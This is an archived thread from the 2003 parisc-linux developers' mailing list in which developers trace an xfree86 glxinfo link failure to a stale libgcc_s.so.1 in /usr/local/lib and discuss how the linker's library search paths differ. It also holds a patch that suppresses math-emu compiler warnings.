X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 14:38:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A319482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 14:38:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h7BKc6gL020813;
	Mon, 11 Aug 2003 16:38:07 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h7BKc61c020812;
	Mon, 11 Aug 2003 16:38:06 -0400 (EDT)
In-Reply-To: <20030811043457.GA5653@dsl2.external.hp.com> from "Grant Grundler" at Aug 10, 2003 10:34:57 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19174

> The basic problem is glxinfo (C program) links against libGLU.so
> (C++ built library). But glxinfo fails to link using gcc:
> ...
> gcc -o glxinfo -g -O -ansi -pedantic -Wall -Wpointer-arith -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wredundant-decls -Wnested-externs -Wundef     -L../../exports/lib glxinfo.o -lGLU -lGL -lXext -lX11  -lpthread -lm -Wl,-rpath-link,../../exports/lib
> ../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Resume@GCC_3.0'
> ../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Register@GCC_3.0'
> /usr/bin/../lib/libstdc++.so.5: undefined reference to `_Unwind_SjLj_RaiseException@GCC_3.0'
> ../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Unregister@GCC_3.0'
> /usr/bin/../lib/libstdc++.so.5: undefined reference to `_Unwind_SjLj_Resume_or_Rethrow@GCC_3.3'
> collect2: ld returned 1 exit status
> ...

Ok, here is what is happening.

First, I gave you the wrong advice on the option to get verbose info from ld.
I gave you the hpux option.  The GNU option is `--verbose' or `-Wl,--verbose'
when using the gcc driver.

Here is the linker path on gsyprf11:

SEARCH_DIR("/usr/hppa-linux/lib"); SEARCH_DIR("/usr/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib");

Here is where ld found libgcc_s.so.1:
found libgcc_s.so.1 at /usr/local/lib/libgcc_s.so.1

The version of libgcc_s.so.1 in /usr/local/lib is old and appears to have
been built using dwarf2 exception support.

Probably, the version of GCC installed in /usr/local should be removed.
I believe it was the initial port with support for Ada.  However, this
is now part of the regular debian distro.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 16:41:39 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200308112041.h7BKfemX020838@hiauly1.hia.nrc.ca>
References: <20030811202103.GH20106@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622672 29309 80.91.229.3 (22 Nov 2014 02:17:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:52 +0000 (UTC)
Cc: grundler@parisc-linux.org, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 14:41:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07149482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 14:41:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h7BKfegL020839;
	Mon, 11 Aug 2003 16:41:40 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h7BKfemX020838;
	Mon, 11 Aug 2003 16:41:40 -0400 (EDT)
In-Reply-To: <20030811202103.GH20106@systemhalted> from "Carlos O'Donell" at Aug 11, 2003 04:21:03 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19175

> On Mon, Aug 11, 2003 at 03:25:47PM -0400, John David Anglin wrote:
> > > What's interesting is the "ld" command has "-lgcc-eh" which is where
> > > the missing symbols are defined:
> > > grundler <512>nm libgcc_eh.a | grep _Unwind_SjLj_Resume
> > > 0000079c T _Unwind_SjLj_Resume
> > > 000008d0 T _Unwind_SjLj_Resume_or_Rethrow
> > > grundler <513>pwd
> > > /usr/lib/gcc-lib/hppa-linux/3.3.1
> > 
> > Yes, but libgcc_eh.a doesn't contain the versioned symbols that the shared
> > libraries need.
> 
> Are we not using libgcc_eh to resolve such symbols in libgcc and libc?

Not for versioned symbols.  For that, you need to link with libgcc_s.so
(i.e., the shared version of libgcc).  The g++ driver does this automatically.
You can also add `-shared-libcc' to your link command when using the gcc
driver.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 16:55:34 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200308112055.h7BKtZxr020907@hiauly1.hia.nrc.ca>
References: <200308112038.h7BKc61c020812@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622672 29313 80.91.229.3 (22 Nov 2014 02:17:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:52 +0000 (UTC)
Cc: grundler@parisc-linux.org, parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 14:55:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB1E6482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 14:55:36 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h7BKtZgL020908;
	Mon, 11 Aug 2003 16:55:35 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h7BKtZxr020907;
	Mon, 11 Aug 2003 16:55:35 -0400 (EDT)
In-Reply-To: <200308112038.h7BKc61c020812@hiauly1.hia.nrc.ca> from "John David Anglin" at Aug 11, 2003 04:38:06 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19176

> Ok, here is what is happening.
> 
> First, I gave you the wrong advice on the option to get verbose info from ld.
> I gave you the hpux option.  The GNU option is `--verbose' or `-Wl,--verbose'
> when using the gcc driver.
> 
> Here is the linker path on gsyprf11:
> 
> SEARCH_DIR("/usr/hppa-linux/lib"); SEARCH_DIR("/usr/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib");

One further note: The default search path used by ldd doesn't agree
with the default path used by ld.  So, I think binutils and glibc
need to get together on this.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 16:39:55 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20030811223955.GC25311@dsl2.external.hp.com>
References: <20030811043457.GA5653@dsl2.external.hp.com> <200308112038.h7BKc61c020812@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622672 29318 80.91.229.3 (22 Nov 2014 02:17:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 16:39:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 3B9FE482D; Mon, 11 Aug 2003 16:39:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200308112038.h7BKc61c020812@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19177

On Mon, Aug 11, 2003 at 04:38:06PM -0400, John David Anglin wrote:
> First, I gave you the wrong advice on the option to get verbose info from ld.
> I gave you the hpux option.  The GNU option is `--verbose' or `-Wl,--verbose'
> when using the gcc driver.

ok. -debug was good.

> Here is the linker path on gsyprf11:
> 
> SEARCH_DIR("/usr/hppa-linux/lib"); SEARCH_DIR("/usr/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib");
> 
> Here is where ld found libgcc_s.so.1:
> found libgcc_s.so.1 at /usr/local/lib/libgcc_s.so.1

ugh. `dpkg -S /usr/local/lib' comes up empty.
I've deleted everything older than a few days (python/texmf remain).
My expectation is hppa64-linux-* tool chain is self contained in
/opt/palinux and can go away when someone points me at a hppa64 .deb.

> The version of libgcc_s.so.1 in /usr/local/lib is old and appears to have
> been built using dwarf2 exception support.
> 
> Probably, the version of GCC installed in /usr/local should be removed.
> I believe it was the initial port with support for Ada.  However, this
> is now part of the regular debian distro.

deleted. Apologies for the goose chase.

But this is probably an excellent example for versioned symbols.
glxinfo would have broken in other weird ways at run time and
would have been even harder to track down.

Now I can go back and rebuild xfree86 again...

thanks,
grant


From - Thu Nov 08 21:28:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 18:58:53 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200308112258.h7BMwrcv021410@hiauly1.hia.nrc.ca>
References: <20030811223955.GC25311@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622673 29329 80.91.229.3 (22 Nov 2014 02:17:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 16:58:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B959482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 16:58:55 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h7BMwsgL021411;
	Mon, 11 Aug 2003 18:58:54 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h7BMwrcv021410;
	Mon, 11 Aug 2003 18:58:53 -0400 (EDT)
In-Reply-To: <20030811223955.GC25311@dsl2.external.hp.com> from "Grant Grundler" at Aug 11, 2003 04:39:55 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19178

> > when using the gcc driver.
> 
> ok. -debug was good.

This shows what collect2 is doing.  It is useful to see the exact way
in which gcc is running ld.  -Wl,--verbose shows what ld is doing.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 19:55:43 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <200308112355.h7BNthRu021653@hiauly1.hia.nrc.ca>
References: <200308112038.h7BKc61c020812@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622673 29335 80.91.229.3 (22 Nov 2014 02:17:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:53 +0000 (UTC)
Cc: grundler@parisc-linux.org, parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 17:55:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCDC2482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 17:55:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h7BNthgL021654;
	Mon, 11 Aug 2003 19:55:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h7BNthRu021653;
	Mon, 11 Aug 2003 19:55:43 -0400 (EDT)
In-Reply-To: <200308112038.h7BKc61c020812@hiauly1.hia.nrc.ca> from "John David Anglin" at Aug 11, 2003 04:38:06 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19179

> Here is the linker path on gsyprf11:
> 
> SEARCH_DIR("/usr/hppa-linux/lib"); SEARCH_DIR("/usr/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib");

This search path seems somewhat strange.  It appears debian used the
`--with-lib-path=dir1:dir2...  set default LIB_PATH' configure option
in building binutils.  I believe that the default binutils order would
be "/usr/local/lib", "/lib" and then "/usr/lib".

On the otherhand, ld.so has the default order "/usr/lib", then "/lib".
Don't know why the search order for the system directories in glibc
is opposite to binutils.

On gsyprf11, /etc/ld.so.conf contains:
/usr/X11R6/lib
/usr/lib/postfix

So, the dynamic loader will use the following path as the default search:
/usr/X11R6/lib:/usr/lib/postfix:/usr/lib:/lib

The dynamic loader doesn't search /usr/local/lib and it has a different
search order than ld.  Because /usr/local/lib is normally searched before
the system library directories, you have to be careful what you put there.

It would be nice if the linker and dynamic linker were consistent :)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] removing warnings from math-emu code
Date: Mon, 11 Aug 2003 20:42:44 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <20030812034244.GC21328@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622673 29342 80.91.229.3 (22 Nov 2014 02:17:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 21:39:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9A0A482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 21:39:37 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C4375CD2FC; Mon, 11 Aug 2003 20:42:44 -0700 (PDT)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19180

Would anyone mind if i committed this to cvs? (2.6 only) It
removes/hides all the warnings from the math-emu directory, since we
don't plan to fix them... 

Index: arch/parisc/math-emu/Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/math-emu/Makefile,v
retrieving revision 1.1
diff -u -p -r1.1 Makefile
--- arch/parisc/math-emu/Makefile	29 Jul 2003 17:00:42 -0000	1.1
+++ arch/parisc/math-emu/Makefile	12 Aug 2003 03:38:58 -0000
@@ -2,6 +2,11 @@
 # Makefile for the linux/parisc floating point code
 #
 
+# See arch/parisc/math-emu/README
+CFLAGS += -Wno-parentheses -Wno-implicit-function-declaration \
+	-Wno-uninitialized -Wno-strict-prototypes -Wno-return-type \
+	-Wno-implicit-int
+
 obj-y	 := frnd.o driver.o decode_exc.o fpudispatch.o denormal.o \
 		dfmpy.o sfmpy.o sfsqrt.o dfsqrt.o dfadd.o fmpyfadd.o \
 		sfadd.o dfsub.o sfsub.o fcnvfxt.o fcnvff.o fcnvxf.o \
Index: arch/parisc/math-emu/types.h
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/math-emu/types.h,v
retrieving revision 1.1
diff -u -p -r1.1 types.h
--- arch/parisc/math-emu/types.h	29 Jul 2003 17:00:42 -0000	1.1
+++ arch/parisc/math-emu/types.h	12 Aug 2003 03:38:58 -0000
@@ -20,6 +20,7 @@
  */
 
 #include <linux/kernel.h>
+#undef BUG
 #define BUG() do { \
         printk(KERN_ERR "floating-pt emulation BUG at %s:%d!\n", __FILE__, __LINE__); \
 } while (0)

thanks,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Mon, 11 Aug 2003 23:58:11 -0400
Lines: 108
Approved: news@gmane.org
Message-ID: <20030812035810.GB9325@systemhalted>
References: <20030725070449.GB13017@systemhalted> <20030725114615.GI1485@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622674 29348 80.91.229.3 (22 Nov 2014 02:17:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, LaMont Jones <lamont@hp.com>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 22:00:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 778FF482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 22:00:53 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19mQIV-0005Px-00; Mon, 11 Aug 2003 23:58:11 -0400
Content-Disposition: inline
In-Reply-To: <20030725114615.GI1485@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (28% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19181

On Fri, Jul 25, 2003 at 12:46:15PM +0100, Matthew Wilcox wrote:
> can't do that.  we have three sets of routines -- itlb_miss_common_11,
> itlb_miss_common_20 and itlb_miss_common_20w.  we select between _20w
> or not at compile time (if it's 64-bit, it's PA 2.0 Wide), but select
> between _20 and _11 at boot time (fault_vector_20 vs fault_vector_11).
> 
